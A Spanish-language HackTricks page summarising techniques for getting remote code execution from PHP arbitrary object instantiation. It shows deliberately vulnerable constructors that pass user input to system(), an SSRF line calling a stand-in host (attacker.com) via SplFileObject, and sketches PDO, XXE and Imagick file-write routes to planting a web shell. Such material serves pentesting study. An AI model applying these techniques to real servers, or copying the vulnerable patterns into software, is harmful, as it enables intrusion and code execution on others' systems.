PHP - RCE abusing object creation: new $_GET["a"]($_GET["b"])

Aprende hacking en AWS desde cero hasta experto con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks:

Este es básicamente un resumen de https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/

Introducción

La creación de nuevos objetos arbitrarios, como new $_GET["a"]($_GET["a"]), puede llevar a la Ejecución Remota de Código (RCE), como se detalla en un writeup. Este documento destaca varias estrategias para lograr RCE.

RCE a través de Clases Personalizadas o Carga Automática

La sintaxis new $a($b) se utiliza para instanciar un objeto donde $a representa el nombre de la clase y $b es el primer argumento pasado al constructor. Estas variables pueden provenir de entradas de usuario como GET/POST, donde pueden ser cadenas o arreglos, o de JSON, donde podrían presentarse como otros tipos.

Considera el fragmento de código a continuación:

class App {
function __construct ($cmd) {
system($cmd);
}
}

class App2 {
function App2 ($cmd) {
system($cmd);
}
}

$a = $_GET['a'];
$b = $_GET['b'];

new $a($b);

En este caso, establecer $a como App o App2 y $b como un comando del sistema (por ejemplo, uname -a) resulta en la ejecución de ese comando.

Las funciones de carga automática pueden ser explotadas si no hay clases directamente accesibles. Estas funciones cargan automáticamente clases desde archivos cuando son necesarias y se definen usando spl_autoload_register o __autoload:

spl_autoload_register(function ($class_name) {
include './../classes/' . $class_name . '.php';
});

function __autoload($class_name) {
include $class_name . '.php';
};

spl_autoload_register();

El comportamiento del auto-cargado varía con las versiones de PHP, ofreciendo diferentes posibilidades de RCE.

RCE a través de Clases Integradas

La falta de clases personalizadas o auto-cargadores puede ser suficiente para RCE utilizando clases integradas de PHP. El número de estas clases varía entre 100 y 200, según la versión de PHP y las extensiones. Se pueden listar utilizando get_declared_classes().

Los constructores de interés pueden ser identificados a través de la API de reflexión, como se muestra en el siguiente ejemplo y en el enlace https://3v4l.org/2JEGF.

RCE a través de métodos específicos incluye:

SSRF + Deserialización de Phar

La clase SplFileObject permite SSRF a través de su constructor, permitiendo conexiones a cualquier URL:

new SplFileObject('http://attacker.com/');

SSRF puede llevar a ataques de deserialización en versiones de PHP anteriores a 8.0 utilizando el protocolo Phar.

Explotando PDOs

El constructor de la clase PDO permite conexiones a bases de datos a través de cadenas DSN, lo que potencialmente permite la creación de archivos u otras interacciones:

new PDO("sqlite:/tmp/test.txt")

SoapClient/SimpleXMLElement XXE

Las versiones de PHP hasta la 5.3.22 y 5.4.12 eran susceptibles a ataques XXE a través de los constructores SoapClient y SimpleXMLElement, dependiendo de la versión de libxml2.

RCE a través de la Extensión Imagick

En el análisis de las dependencias de un proyecto, se descubrió que Imagick podría ser aprovechado para la ejecución de comandos mediante la creación de nuevos objetos. Esto presenta una oportunidad para explotar vulnerabilidades.

Analizador VID

Se identificó la capacidad del analizador VID para escribir contenido en cualquier ruta especificada en el sistema de archivos. Esto podría llevar a la colocación de una shell de PHP en un directorio accesible a través de la web, logrando la Ejecución de Código Remoto (RCE).

Analizador VID + Carga de Archivos

Se observa que PHP almacena temporalmente los archivos cargados en /tmp/phpXXXXXX. El analizador VID en Imagick, utilizando el protocolo msl, puede manejar comodines en las rutas de archivos, facilitando la transferencia del archivo temporal a una ubicación elegida. Este método ofrece un enfoque adicional para lograr la escritura de archivos arbitrarios dentro del sistema de archivos.

PHP Crash + Fuerza Bruta

Un método descrito en el informe original implica cargar archivos que provoquen un fallo del servidor antes de su eliminación. Al hacer fuerza bruta en el nombre del archivo temporal, es posible que Imagick ejecute código PHP arbitrario. Sin embargo, esta técnica se encontró efectiva solo en una versión desactualizada de ImageMagick.

Referencias

Aprende hacking en AWS desde cero hasta experto con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks:

Última actualización